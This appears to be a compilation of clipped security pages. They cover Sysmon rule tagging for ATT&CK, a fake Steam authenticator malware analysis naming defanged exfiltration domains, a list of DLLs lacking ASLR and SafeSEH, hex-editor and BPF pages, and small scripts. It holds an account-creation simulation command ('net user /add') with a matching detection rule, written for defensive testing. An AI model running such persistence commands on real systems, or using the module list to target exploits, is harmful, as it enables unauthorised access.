sources. Let's say we pick **"Create Account - T1136"**.  
  
  
<img src='img/sysmon_technique_T1136.png' width='400' height='335' />  
---  
**Figure 6.** Create Account Technique Information  
  
  

###  ATT&CK Simulation Repos Help\!

  
One thing that I love about the industry is that there are **'Red Team
Simulation"** projects that allow you to learn and test different variations
of a specific technique. My favorite projects out there that provide great
information are Endgame's Red Team Automation \(RTA\) and RedCanary's Atomic
Red Team \(ART\). I usually use the GitHub search bar on the repositories and
look for a few initial commands or steps defined by ATT&CK in the techniques
description information. For ART, you can also just go to the technique ID
folder and learn more about it.  
  
  
<img src='img/endgame_rta.png' width='640' height='250' />  
---  
**Figure 7.** Endgame RTA  
  

  

<img src='img/redcanary_art.png' width='640' height='270' />  
---  
**Figure 8.** RedCanary ART  
  
  

###  Add Sysmon Rule & Name

  
If your Sysmon config is already allowing you to capture events generated by
the execution of **net.exe** due to the fact that you use your config to
exclude instead of include events, you will have to change that in order to
tag a specific Sysmon rule that could map directly to T1136. I updated mine to
the following:  
  
  

1 | <Sysmon schemaversion="4.1">  
---|---  
2 |  <\!-- Capture all hashes \-->  
3 |  <HashAlgorithms>\*</HashAlgorithms>  
4 |  <EventFiltering>  
5 |  <\!-- Event ID 1 == Process Creation. \-->  
6 |  <ProcessCreate onmatch="include">  
7 |  <Image condition="end with">net.exe</Image>  
8 |  <CommandLine name="technique\_id=T1136,technique\_name=Create\_Account,tactic=persistence, platform=windows" condition="contains">user /add</CommandLine>  
9 |  </ProcessCreate>  
10 |  </EventFiltering>  
11 | </Sysmon>  
view raw T1136\_net\_config.xml hosted with ❤ by GitHub

  
  

###  Why Don't You Add The N**et.exe C** ondition to the **Rule Name**?

  
Great question\! I recently parsed the whole ATT&CK database and made it part
of a HELK Dashboard by default. If I look for **net.exe** by itself without
any command arguments across the whole ATT&CK database, I find that there are
around 13 techniques where **net.exe** is mentioned. That will be a lot of
tags. This is why I recommend to be a little bit more specific if you want to
start tagging and mapping Sysmon rule names to ATT&CK techniques .  
  
  
  
<img src='img/helk_cti_net.png' width='640' height='324' />  
---  
**Figure 9.** net.exe across the whole ATT&CK database  
  
  

###  Simulate The Technique

  
Run a few basic commands and check the results  
  
_net user /add wardog_  
_  
__  
_  
<img src='img/1961_sysmon_rule_T1136_specific.png' width='640' height='522' />  
---  
**Figure 9.** Create Account simulation via net1.exe  
_  
_  
Something interesting to mention after doing this exercise is that when the
event that triggers a rule has other data fields without a rule name, it
automatically excludes the **RuleName** tag value from the event. For example,
the **net.exe** condition by itself does not have a rule name; However,
**CommandLine: user /add** does. If net.exe is executed with **user /add**
command-arguments, the event is shown with an empty **RuleName.** Only
**net1.exe** shows with a rule name or tag. Keep that in mind when you start
tagging rule names.  
  
  
  
<img src='img/sysmon_rule_T1136_specific.png' width='640' height='520' />  
---  
| **Figure 10.** Create Account simulation via net.exe  
---  
  
  
  
  
  

##  Nice\! Now, How Do I Parse the RuleName?

  
All those basic use cases make sense, but it is important to also cover how
you could start using the flexibility of tagging Sysmon rules in your
production environment. For the collection piece, you could use a **WEF
server** and a **Winlogbeat agent** on the top to push data to a data lake or
straight to your SIEM. I use KAFKA brokers to centralize the collection of
several data sources and then an ELK stack to extract, transform, load,
analyze and visualize the data.  
  
One thing that I am sure you have noticed is that when we add several tags to
one Sysmon rule, it separates the **key=value** by commas, so you will have to
parse all that. If you are using an ELK Stack as your SIEM, you could use the
Logstash KV filter plugin to parse the **RuleName field** values  
  
  

###  Logstash KV Filter Config

  
According to Logstash documentation, the KV filter pluting helps automatically
parse messages \(or specific event fields\) which are of the foo=bar variety.  
  

  * **source** => The field to perform key=value searching on
  * **field\_split** => A string of characters to use as single-character field delimiters for parsing out key-value pairs.
  * **value\_split** => A non-empty string of characters to use as single-character value delimiters for parsing out key-value pairs.
  * **prefix** => A string to prepend to all of the extracted keys.
  * **transform\_key** => Transform keys to lower case, upper case or capitals.

[code]

    filter {
      if [log_name] == "Microsoft-Windows-Sysmon/Operational"{
        if [event_data][RuleName] {
          kv {
            source => "[event_data][RuleName]"
            field_split => ","
            value_split => "="
            prefix => "mitre_"
            transform_key => "lowercase"
          }
        }  
      }
    }
[/code]

  

###  Re-Simulate & Watch

  
Once, you have that filter in your Logstash pipeline, you will be able to
transform/parse the **RuleName** field values of every endpoint that produces
the data triggered by the Sysmon rule.  
  
<img src='img/helk_net_command_detailed.png' width='640' height='288' />  
---  
**Figure 10.** Event ID 1 - Sysmon Rule Tag  
  
  
  
<img src='img/net_command_fields_detailed.png' width='640' height='320' />  
---  
**Figure 11.** Event ID 1 - Sysmon Rule Tag metadata  
  
  
That's it\! I just wanted to share a little bit of my initial thoughts about
utilizing the Sysmon rule tagging capabilities to start categorizing some of
the data that you might be collecting via Sysmon. Even though this seems to be
pretty straight forward, it is important to remember that some Sysmon rules
might fall into the "Signature" vs "Situational Awareness" type of analytic.
You can just add another tag named **"analytic"** and set it to **Signature or
Situational Awareness** depending on your environment. Also, take in
consideration that several techniques get repeated across several tactics when
you tag Sysmon rules. I will be sharing more soon.  
  
  

Posted by  Wardog at 7:16 PM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[7:16 PM]: 2018-07-06T19:16:00-07:00

# grep binary \(hexadecimal\) patterns | commandlinefu.com
**Created:**| _7/1/2010 10:29:00 AM_  
---|---  
**Updated:**| _7/4/2010 8:02:58 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

# grep binary \(hexadecimal\) patterns

Terminal - grep binary \(hexadecimal\) patterns

  

grep -P "\x05\x00\xc0" mybinaryfile

# Hiew homepage

**Created:**| _5/16/2009 10:23:50 AM_  
---|---  
**Updated:**| _5/16/2009 10:23:59 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

The information for illegal users: You use 'cracked' versions of the Hiew on
your own risk.

  

<img src='img/Temp2_3886.gif' />

Features of release VIII:

  * view and edit files of any length in text, hex, and decode modes
  * x86-64 disassembler & assembler
  * physical & logical drive view & edit
  * support for NE, LE, LX, PE/PE32+ and little-endian ELF/ELF64 executable formats
  * support for Netware Loadable Modules like NLM, DSK, LAN,...
  * following direct call/jmp instructions in any executable file with one touch
  * pattern search in disassembler
  * built-in simple 64bit decrypt/crypt system
  * built-in powerful 64bit calculator
  * block operations: read, write, fill, copy, move, insert, delete, crypt
  * multifile search and replace
  * keyboard macros
  * unicode support
  * Hiew Extrenal Module \(HEM\) support
  * ArmV6 disassembler

Limitations of DEMO version:

  * file size is limited to 150000 bytes
  * no 64bit dis/assembler
  * no ini-file processing
  * no ordinal names
  * no loading/storing keyboard macros in file
  * no loading/storing crypt scripts in file
  * crypt 32bit
  * no progress bar
  * no unicode support
  * no HEM \(Hiew External Module\) support
  * no ARM support

| <img src='img/Temp2_3889.gif' width='1' height='1' />| Download DEMO
version:|

  * Hiew32 Demo \(~160Kb Win32\)

  
---  
Download latest version \(for registered users only\!\):

  * Hiew 8.00 \(~125Kb,  _No personal exefile inside \!_\)

  
---  
Download CahUnlock:

  * CahUnlock 3.10\(~13Kb\)

  
---  
Download HEM SDK:

  * HEM SDK 0.46\(~82Kb\)
\- added: HIEWGATE\_GLOBAL2LOCAL

\- added: HIEWGATE\_LOCAL2GLOBAL

\- added: HIEWGATE\_FIND

  
---  
Download:

  * hiew.xlt\(~2Kb\)
\- with windows-1250 table

  
---  
* * *
##

Primary registration:

_\(Share-It\! supports payment throught PayPal\)_

  * $64 - Free 1-year updates:  Share-It\! BMT Micro   

  * $199 - Free lifetime updates: Share-It\! BMT Micro   

  
---  
Note for new customers:  
_After obtaining the license key you will receive full functional pre latest
version. In two months you will start receiving program updates and get latest
version. Sorry for inconvenience. This period is necessary for full
identification of credit cards and not include in 1-year period._

Second registration:

  * No last-version delay
  * 25% discount for next 1-year updates
  * 15% discount for lifetime extend
  * Ask for more

  
---  
* * *
Hiew history:

8.00 \( 29 Jan 2009 \)

\- ARMv6 disassembler

\- "ArmCodeDetection = On/Off" in ini-file

\- Xor string \(Edit/F8\) is back\!

\- Names shift offset \(F12/F6\)

\- Names export \(F12/Shift-F12\)

\- PE section rva/offset correction \(F8-F6-F5/F6\)

\- FIX: Some disassemblers fixes

\- FIX: HEM: no set mode for HEM\_RETURN\_FILERELOAD

7.61 \( 15 Aug 2008 \)

\- warning for invalid sections count

\- FIX: crash for 'wild' size of import

\- FIX\(7.50\): for ShortImmed=Off 'int 3' shows as 'int 0'

\- FIX: no show export for files without field 'Address of ordinals'

\- FIX: PE non-standart sections

\- "BlockLengthShowAlways = On/Off" in ini-file

7.60 \( 15 May 2008 \)

\- FIX\(7.50\): invalid offset for basing

\- "ShortImmed = On/Off" in ini-file, Alt-T in code

\- Elf64 added

\- find/scan percentage added in console title

7.50 \( 29 Jan 2008 \)

\- name \(ShiftF12/F12\) for address in hex-, decode modes

\- comment \(;/F12\) for address in hex-, decode modes

\- HEM SDK 0.42

\- "NamesAutosave = On/Off" in ini-file

\- "DllNameInComment = On/Off" in ini-file

\- show negative offset for basing

\- FIX: input string history has reset for empty string adding

\- FIX: PE image size calculation has incorrect for last section virtsize = 0

\- FIX: PE overlay calculation more accurate  
  
  
  
* * *
## ****

| **Recordman**  
---  
It is  _not a one more_ hex viewer, it is my C++/MFC training only.

\(Invisible\) Features:

  * Record width up to 1 Megabyte
  * Ctrl-Plus - Increase record width   
Ctrl-Minus - Decrease record width  
Ctrl-Star - Fit record width

  * Left-click on marker pane \(left bar\): at upper part - go previuos marker, at lower part - go next marker.
  * Separate right-click menus for marker pane, offset pane ,view pane.
  * Separate settings \(font, record width, etc...\) for each file
  * Find dialog: two-dots button rigth of 'Find what' inserts saved from clip
  * Find dialog: special chars for find:   
\\\ - single char '\'  
\? - anychar  
\xx - byte in hex, xx is valid hexadecimal value

  * MDI toolbar:   
double click - maximize/minimize window  
middle click - close file

  * Syncrone scrolling of two \(or more\) files
  * Show in OEM codepage

<img src='img/Temp2_3888.gif' />

**Version 0.37 \(14 Apr 2009\)**

\- Fast find down/up with anychar

\- Replace with anychar

\- Manual edit

\- Insert bytes/records

\- Read-only mode toggle

\- Tooltip for offset

\- MDI toolbar

\- Syncrone scrolling

\- Show in OEM codepage

**Version 0.25 \(18 Jul 2008\)**

\- Global options dialog

\- Marker operation \(copy,clip,paste,delete\)

\- New file support

\- Some bugs fixed

**Version 0.10 \(3 Dec 2007\)**

\- First public beta  
  
  

FREE download via mail request \(~106Kb, standart  _mfc42.dll_ needing\)

Or be waiting some time for open link...  
---  
* * *
##

| **SEN's Calculator**  
---  
SenCalc is integer arithmetic calculator with brackets and operations
priority.

<img src='img/Temp2_3887.gif' />

sencalc106.zip \(~20Kb\)  
---  
**Version 1.06 \(by Jupiter\)**

\- XP Manifest added

\- Copy from results fields  
  
  

    
* * *
##

| **DualEXE Manipulator**  
---  
Dexem is a command-line utility for split or join dual-executable files.

dexem153.zip \(~20Kb\)  
---  
* * *
##

| **Executable files dumper**  
---  
Edump is a command-line utility for detail dump of executable files.  
Support: NE, LX/LE, PE/PE32+, ELF/ELF64 \(little-endian\)

edump162.zip \(~50Kb\)  
---  
**Version 1.62**

\- ELF64 support

**Version 1.52**

\- PE32+: Fixup \#10

\- PE/PE32+: Load config directory

\- PE32+: TLS

\- PE32+ support  
  
  

    
* * *
##

| **Library files dumper**  
---  
Ldump is a command-line utility for detail dump of library/object files.  
Support: Coff and Omf

ldump112.zip \(~35Kb\)  
---  
**Version 1.12**

\- FIX: Undo \(1.11\) Coff: check machine value

**Version 1.11**

\- Coff: no check machine value

\- Coff: added short import library format  
  
  

      

# Microsoft/MSRC-Security-Research

**Created:**| _3/7/2018 8:27:45 AM_  
---|---  
**Updated:**| _3/7/2018 8:27:45 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark_  
  

  

Find file  Copy path Copy file path to clipboard

MSRC-Security-Research / presentations / 2018\_02\_OffensiveCon / **The
Evolution of CFI Attacks and Defenses.pdf**

133bfd2  8 days ago

<img src='img/30605475.png' width='20' height='20' alt='@JosephBialekMsft' />
JosephBialekMsft Fix animations

Download History

Open this file in GitHub Desktop

3.23 MB

Viewer requires iframe.

  

# Counter - DigiNinja

**Created:**| _1/3/2011 6:56:35 PM_  
---|---  
**Updated:**| _1/3/2011 6:57:11 PM_  
**Author:**| __  
**Tags:**| _authentication bypass List_  
  

# Counter

Having just built a nice powerful rig for cracking passwords I decided it was
time to go beyond just cracking them and look at actually analysing the
results. This was mainly inspired by all the write-ups by people on the Gawker
hack and the analysis done on the passwords recovered from their databases.

So, I wrote Counter. It is a short Ruby script that goes through a file and
gives you a frequency analysis of the lines \(not words\) in the file. By
default it gives the count and percentage of each line found along with a
total count of lines in the file. All of these can be turned off so the output
can be piped directly into other tools such as RSYaba or RSMangler. There is
also a parameter to cap the number of lines output so you can show just the
top X lines.

I'm sure there are already tools that do the same, or similar to this one but
I like to have my own versions of things as I find it easier to modify them
when my needs change.

Installation is easy, just untar the tarball and make sure the script is
executable, it doesn't use anything beyond standard Ruby and has been tested
on version 1.8.7 and 1.9.1.<img src='img/counter_1.0.tar.bz2' width='265'
height='49' />

# Perpetual Horizon: pvefindaddr - ImmDbg plugin exposes attack surface

**Created:**| _12/20/2010 10:12:36 PM_  
---|---  
**Updated:**| _12/20/2010 10:12:55 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging security tools python_  
  

## Monday, December 28, 2009

### pvefindaddr - ImmDbg plugin exposes attack surface

  
  
I've been interested in both the attack and the defenses involving various
memory corruption bugs for some time as they are a staple of modern computer
security concerns. Microsoft's protection schemes continue to improve over
time and from a defenders perspective I like to see third party vendors begin
using some of the same protection techniques, and I also like to be aware when
vendors are not so extra awareness and attack surface reduction can be put
into play.  
  
Tonight I received a tweet from @Corelanc0d3r, who has done some nice research
into a variety of IT and IT security related matters including exploitation
techniques. His tweet:  
  
released v1.7 of pvefindaddr ImmDdg plugin \(http://bit.ly/57Q14V\)  
  
  
You can read his link for further information about this Immunity Debugger
plugin, which does a good deal of time-saving enumeration.  
  
Dropping his pvefindaddr.py into my C:\Program Files\Immunity Inc\Immunity
Debugger\PyScripts on a Vista box, I took notice of all the functionality, but
especially of the ability to enumerate processes without ASLR and SafeSEH with
the following command:  
  
\!pvefindaddr nosafesehaslr  
  
Since client-side security bugs are a critical entryway, the list of such
processes \(well, a very limited list based on samples on one particular
install\) may be of interest to those who wish to reduce/eliminate such code
to run hardened systems, and/or of interest to penetration testers or security
researchers. Software vendors may also want to take note \(not that any are
actually reading this...as far as I know\) and consider re-architecting and
re-compiling with /DYNAMICBASE and /SAFESEH when possible. Anyone running the
plugin or equivalent can obtain the same information, however this might save
someone some time and stimulate further ideas for research.  
  
HP DeskJet printer software bundle DLL:  
  

Message=\*\[+\] 0x003d0000 - 0x003db000 : hpzipr12.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  

  

\# I've been concerned about the HP DeskJet printer software bundle for some
time. The first clue was that the installation of this software to make a home
printer function actually replaced patched versions with unpatched/vulnerable
versions of specific code. On an XP box, Windows/Microsoft Update did not
catch the issue, however on a Vista box Windows/Microsoft Update did notice
and corrected the problem. The Secunia Personal Software Inspector \(PSI\)
notified me pretty quickly that some critical files had regressed. With such a
phenomenon taking place in the past I wasn't terribly surprised to see that
this DLL was not taking advantage of newer protection techniques. Of course,
the actual attack surface varies depending upon the system's usage profile,
etc.  

  

Cisco VPN client:  

Message=\*\[+\] 0x00400000 - 0x0057a000 : cvpnd.exe \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  

Message=\*\[+\] 0x10000000 - 0x1002f000 : vpnapi.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  

  

\# Communication with another security researcher \(who is a lot smarter and
more experienced than myself\) indicated that all the pre-auth memory
corruption issues in this particular client had likely been weeded out.
However we did not talk about these images being leveraged in a different part
of the attack lifecycle.  

  

google chrome DLL:  

Message=\*\[+\] 0x4ad00000 - 0x4b50b000 : icudt38.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  

  

GPGee:  

Message=\*\[+\] 0x05570000 - 0x05702000 : GPGee.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  

  

SecureZIP:  

Message=\*\[+\] 0x04fe0000 - 0x05167000 : PKArchive87U.dll \(\*\*\* No ASLR,
No Safeseh \*\*\*\)  

  
  
WinRAR:  
Message=\*\[+\] 0x03210000 - 0x0323e000 : rarext.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  
  
Malware Bytes anti-malware:  
Message=\*\[+\] 0x031f0000 - 0x03202000 : mbamext.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  
  
010 Hex editor:  
Message=\*\[+\] 0x036f0000 - 0x03700000 : shlext010.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  
  
FileZilla shell extension:  
Message=\*\[+\] 0x67080000 - 0x6709c000 : fzshellext.dll \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  
  
TrueCrypt:  
Message=\*\[+\] 0x00400000 - 0x00586000 : TrueCrypt.exe \(\*\*\* No ASLR, No
Safeseh \*\*\*\)  
  
Found by attaching to VMAuthdService:  
\*\[+\] 0x00160000 - 0x0024e000 : libxml2.dll \(\*\*\* No ASLR, No Safeseh
\*\*\*\)  
\*\[+\] 0x10000000 - 0x1006a000 : vmcryptolib.DLL \(\*\*\* No ASLR, No Safeseh
\*\*\*\)  
\*\[+\] 0x00b20000 - 0x00bf9000 : iconv.dll \(\*\*\* No ASLR, No Safeseh
\*\*\*\)  
  
Again, nothing earth-shattering here but an interesting survey of some
typically deployed apps. With advances in exploitation techniques taking place
constantly, it may be wise to audit your own apps in a similar way and reach
for the uninstall.  
  
Kudos to C0relanc0d3r for his plugin and for the discussions we had about it,
and for his code tweak to scan all process memory instead of just the
currently loaded/attached process.

# Win32k Dark Composition Attacking the Shadow Part of Graphic Subsystem

**Created:**| _5/7/2017 10:26:49 AM_  
---|---  
**Updated:**| _5/7/2017 10:27:18 AM_  
**Author:**| __  
**Tags:**| _vulnerability GPU_  
  

  
<img src='img/CSW2017_PengQiu-ShefangZhong_win32k_dark_composition.pdf' />  

# Blaze's Security Blog

**Created:**| _3/7/2018 8:31:54 AM_  
---|---  
**Updated:**| _3/7/2018 8:31:54 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis credentials_  
  

  

# Blaze's Security Blog

##

###  Fake Steam Desktop Authenticator steals account details

  
In this blog post, we'll have a quick look at fake versions of Steam Desktop
Authenticator \(SDA\), which is a "desktop implementation of Steam's mobile
authenticator app".  
  
Lava from SteamRep brought me to the attention of a fake version of SDA
floating around, which may be attempting to steal your Steam credentials.  
  
Indeed, there are some fake versions - we'll discuss two of them briefly.  
  
  
**Fake version \#1**  
  
The first fake version can be found on steamdesktopauthenticator\[.\]com. Note
that the site is live, and appears at the top of Google Search when searching
for "Steam Desktop Authenticator". <img src='img/SDA.PNG.png' width='320'
height='177' />  
---  
Figure 1 - Fake SDA website  
When downloading the ZIP file from the website, and unzipping it, we notice
the exact same structure as you would when fetching the legitimate package -
with one difference: the main executable has been modified.  
  
File details:  
**Name** : Steam Desktop Authenticator.exe  
**MD5 hash** : 872abdc5cf5063098c87d30a8fcd8414  
**File size** : 1,4446 KB  
**Version** : v1.0.9.1  
  
Note that the current and real SDA version is 1.0.8.1, and its original file
size is 1,444 KB - 2 bytes of difference can mean a lot. Figures 2 and 3 below
show the differences. <img src='img/SDA-2.PNG.png' width='400' height='259' />  
---  
Figure 2 - Sending credentials to steamdesktopauthenticator\[.\]com  
<img src='img/SDA-3.PNG.png' width='400' height='343' />  
---  
Figure 3 - Sending credentials to steamdesktop\[.\]com  
Indeed, it appears it also attempts to upload to another website - while
digging a bit further, we can also observe an email address associated with
the domains:  _mark.korolev.1990@bk\[.\]ru_  
  
While I was unable to immediately find a malicious fork with any of these
domains, _Mark_ has likely forked the original repository, made the changes -
then deleted the fork. Another possibility is that the source was downloaded,
and simply modified. However, it is more than likely the former option.  
  
**Fake version \#2**  
  
This fake version was discovered while attempting to locate _Mark_ 's fork
from the fake version above - here, we have indeed a malicious fork from
GitHub, where trades/market actions appear to be intercepted, as shown in
Figure 4 below. <img src='img/SDA-4.PNG.png' width='400' height='151' />  
---  
Figure 4 - Malicious SDA fork \(click to enhance\)  
Currently, when trying to access the malicious site lightalex\[.\]ru with a
bogus token, a simple "OK" is returned - it is currently unknown whether
market modifications would be successful.  
  
Interestingly enough, when digging deeper on this particular domain, which is
currently hosted on 91.227.16\[.\]31, it had hosted other SteamStealer malware
before, for example cs-strike\[.\]ru and csgo-knives\[.\]net.  
  
The malicious fork has been reported to GitHub.  
  
**Disinfection**  
  
Neither fake SDA versions reported here appear to implement any persistence,
in other words; remove the fake version by deleting it, and perform a scan
with your current antivirus and a scan with another, online antivirus, or with
Malwarebytes for example.  
  
Additionally, de-authorize all other devices by clicking here and select
"Deauthorize all other devices".  
  
Now, change your password for Steam, and enable Steam Guard if you have not
yet done so.  
  
**Prevention**  
  
Prevention advise is the usual, extended advise is provided in a previous blog
post here.  
  
You may also want to take a look at SteamRep's Safe Trading Practices here.  
  
Always download any software from the original source - this means the
vendor's website, or in this case, the **official SDA repository on GitHub** :  
https://github.com/Jessecar96/SteamDesktopAuthenticator  
  
**Conclusion**  
  
SteamStealer malware is alive and well, as seen from my January blog post.
This is again another form of attempting to scam users, and variations will
continue to emerge.  
  
Follow the prevention tips above or here to stay safe.  
  
  
**Indicators**  
  
  

  

# ggaughan/pipe2py

**Created:**| _11/1/2013 11:48:04 AM_  
---|---  
**Updated:**| _11/1/2013 11:48:04 AM_  
**Author:**| __  
**Tags:**| _bookmark web_  
  

# **D** esign****

The Yahoo pipelines are translated into pipelines of Python generators which
should give a close match to the original data flow**.** Each call to the
final generator will ripple through the pipeline issuing .next\(\) calls until
the source is exhausted**.**

The modules are topologically sorted to give their creation order**.** The
main output and inputs are connected via the yielded values and the first
parameter**.** Other inputs are passed as named parameters referencing the
input module**.**

The JSON representation of the configuration parameters maps closely onto
Python dictionaries and so is left as-is and passed and parsed as-and-when
needed**.**

Each Yahoo module is coded as a separate Python module**.** This might help in
future if the generators are made to run on separate processors/machines and
we could use queues to plumb them together**.**

#  Setting up the environment****

Install the package:

[code]

    python setup**.** py install
    
[/code]

##  Dependencies****

If you need the 'XPath Fetch Page' module, lxml \(http://lxml**.** de/ \) is
required, e.g.:

[code]

    pip install lxml
    
[/code]

If you use the html5 parser option for the 'XPath Fetch Page' module, html5lib
\(http://code.google.com/p/html5lib/ \) is also required, e.g.:

[code]

    pip install html5lib
    
[/code]

If using a Python version before 2**.** 6 then simplejson is needed:

>   * http://pypi.python.org/pypi/simplejson
>

#  Unit tests****

Run in the test directory:

[code]

    python testbasics**.** py
    
[/code]

In test-mode, modules needing user input use the default values rather than
prompting the user**.** This is done by setting context.test==True**.**

#  Usage****

There are two ways to translate a Yahoo pipe into Python**.** One outputs a
Python script which wraps the pipeline in a function which can then be
imported and run from another Python program \(i**.** e. compiled\). The other
interprets the pipeline on-the-fly and executes it within the current process
\(i**.** e. interpreted\).

##  1**.** Compiling a pipeline to a Python script****

Both of the following will create a python file named after the input argument
with a **.** py extension \(using the compile.parse\_and\_write\_pipe
function\)**.** This file can then be run directly or imported into other
pipelines**.**

The first pulls the pipeline definition directly from Yahoo**.** The second
loads the pipeline definition from a file:

>   * python compile**.** py -p pipelineid
>

>   * python compile**.** py pipelinefile
>

Subpiplines are expected to be contained in python files named
pipe\_PIPEID**.** py, where PIPEID is the Yahoo ID for the pipeline, e.g.

> pipe\_2de0e4517ed76082dcddf66f7b218057**.** py
So if you do use the second option you should store your pipeline definitions
in files named the same way, e.g.

> pipe\_2de0e4517ed76082dcddf66f7b218057.json
then compile**.** py will output files with the expected naming
convention**.**

##  2\. Interpreting a pipeline and executing in-process****

Example:

[code]

    from pipe2py.compile import parse_and_build_pipe
    from pipe2py import Context
    
    pipe_def = """json representation of the pipe"""
    
    p = parse_and_build_pipe(Context(), pipe_def)
    
    for i in p:
        print i
    
[/code]

#  Inputs****

Some pipelines need to prompt the user for input values**.** When running a
compiled pipe, it defaults to prompting the user via the console, but in other
situations this may not be appropriate, e.g. when integrating with a
website**.** In such cases, the input values can instead be read from the
pipe's context \(a set of values passed into every pipe\)**.** The
context.inputs dictionary can be pre-populated with user input before the pipe
is executed**.**

To determine which prompts are needed, the pipeline can be called initially
with context.describe\_input==True, and this will return a list of tuples
defining the inputs needed \(it will not execute the pipe\), e.g.:

[code]

    context = Context(describe_input=True)
    p = pipe_ac45e9eb9b0174a4e53f23c4c9903c3f(context, None)
    need_inputs = p
    print need_inputs
    
    >>> [(u'0', u'username', u'Twitter username', u'text', u''),
    ..**.**  (u'1', u'statustitle',
    ...   u'Status title [string] or [logo] means twitter icon', u'text',
    ..**.**   u'logo')]
    
[/code]

Each tuple is of the form:

[code]

    (position,
     name,
     prompt,
     type,
     default)
    
[/code]

The list of tuples is sorted by position, i.e. the order in which they should
be presented to the user**.** The name should be used as a key in the
context.inputs dictionary**.** The prompt is the prompt for the user. Type is
the data type, e.g. text, number**.** And default is the default value \(used
if no value is given\), e.g. to run the above pipe with pre-defined inputs,
and no console prompting:

[code]

    context = Context(inputs={'username':'greg', 'statustitle':'logo'},
                      console=False)
    p = pipe_ac45e9eb9b0174a4e53f23c4c9903c3f(context, None)
    for i in p:
        print i
    
[/code]

****

# Quick remote SMTP page script in Python | jon zobrist \(dot\) com
**Created:**| _5/29/2011 8:49:36 PM_  
---|---  
**Updated:**| _5/29/2011 8:49:46 PM_  
**Author:**| __  
**Tags:**| _python prototyping_  
  

## Quick remote SMTP page script in Python

  

Disclaimer : You own what you do with this script, and are responsible for it.
This script could cause problems with SMTP / mail server administrators, and
you should be sure to get any use approved. I make no claims about the scripts
fitness for any specific use.

I have several servers that are not allowed to communicate with the outside
world. Often times this helps a lot, but it can be a pain when trying to send
e-mail alerts. Combine that sometimes I’m not root on these boxes so I can’t
simply change the postfix/exim/qmail/sendmail default relay server to
something.

The work around is this script, which uses a hard coded SMTP server, so you’ll
need to edit the script to change the from, to, and the smtp servers IP.

I haven’t set it to take arguments, as I rarely re-use it for different
things. Let me know if you’d benefit from that and I’ll throw them in.

Here is the script in gzipped format

Here is the code of the script :

\#\!/usr/bin/python  
\#Author : jon@jonzobrist.com  
\#License : BSD/public/freeware

import smtplib  
import sys

def prompt\(prompt\):  
return raw\_input\(prompt\).strip\(\)

fromaddr = “noreply@example.com”  
\#toaddrs =
\['userA@example.com','userB@example.com','Phone1@txt.att.net','Phone2@txt.att.net','userC@example.com'\]  
toaddrs = \['userA@example.com'\]  
subject = “\[ALERT\] Alert from localhost”

msg = \(“From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n”  
% \(fromaddr,toaddrs,subject\)\)  
msg = msg + sys.argv\[1\]  
server = smtplib.SMTP\(‘server.ip.or.hostname’\)  
\#server.set\_debuglevel\(1\)  
server.sendmail\(fromaddr, toaddrs, msg\)  
server.quit\(\)

Enjoy\!

* * *
\[Translate\]<img src='img/Temp2_6594.gif' width='16' height='16' />

Related posts:

  1. LCOD 5.29.2011 – 2 quick TCP port check scripts in Python Disclaimer : These scripts could be considered malicious and should...

# Notes on BPF & eBPF - Julia Evans

**Created:**| _6/29/2017 3:45:15 PM_  
---|---  
**Updated:**| _6/29/2017 3:45:15 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Notes on BPF & eBPF

Today it was Papers We Love, my favorite meetup\! Today Suchakra Sharma
\(@tuxology on twitter/github\) gave a GREAT talk about the original BPF paper
and recent work in Linux on eBPF. It really made me want to go write eBPF
programs\!

The paper is The BSD Packet Filter: A New Architecture for User-level Packet
Capture

I wanted to write some notes on the talk here because I thought it was super
super good.

To start, here are the slides and a pdf. The pdf is good because there are
links at the end and in the PDF you can click the links.

### what’s BPF?

Before BPF, if you wanted to do packet filtering you had to copy all the
packets into userspace and then filter them there \(with “tap”\).

this had 2 problems:

  1. if you filter in userspace, it means you have to copy all the packets into userspace, copying data is expensive
  2. the filtering algorithms people were using were inefficient

The solution to problem \#1 seems sort of obvious, move the filtering logic
into the kernel somehow. Okay. \(though the details of how that’s done isn’t
obvious, we’ll talk about that in a second\)

But why were the filtering algorithms inefficient\! Well\!\!

If you run `tcpdump host foo` it actually runs a relatively complicated query,
which you could represent with this tree:

<img src='img/Temp2_5621.png' width='570' height='214' />

Evaluating this tree is kind of expensive. so the first insight is that you
can actually represent this tree in a simpler way, like this:

<img src='img/Temp2_5620.png' width='570' height='334' />

Then if you have `ether.type = IP` and `ip.src = foo` you automatically know
that the packet matches `host foo`, you don’t need to check anything else. So
this data structure \(they call it a “control flow graph” or “CFG”\) is a way
better representation of the program you actually want to execute to check
matches than the tree we started with.

### How BPF works in the kernel

The main important here is that packets are just arrays of bytes. BPF programs
run on these arrays of bytes. They’re not allowed to have loops but they _can_
have smart stuff to figure out the length of the IP header \(IPv6 & IPv4 are
different lengths\!\) and then find the TCP port based on that length

[code]

    x = ip_header_length
    port = *(packet_start + x + port_offset) 
    
[/code]

\(it looks different from that but it’s basically the same\). There’s a nice
description of the virtual machine in the paper/slides so I won’t explain it.

When you run `tcpdump host foo` this is what happens, as far as I understand

  1. convert `host foo` into an efficient DAG of the rules
  2. convert that DAG into a BPF program \(in BPF bytecode\) for the BPF virtual machine
  3. Send the BPF bytecode to the Linux kernel, which verifies it
  4. compile the BPF bytecode program into native code. For example here’s the JIT code for ARM and for x86
  5. when packets come in, Linux runs the native code to decide if that packet should be filtered or not. It’l often run only 100-200 CPU instructions for each packet that needs to be processed, which is super fast\!

### the present: eBPF

But BPF has been around for a long time\! Now we live in the EXCITING FUTURE
which is eBPF. I’d heard about eBPF a bunch before but I felt like this helped
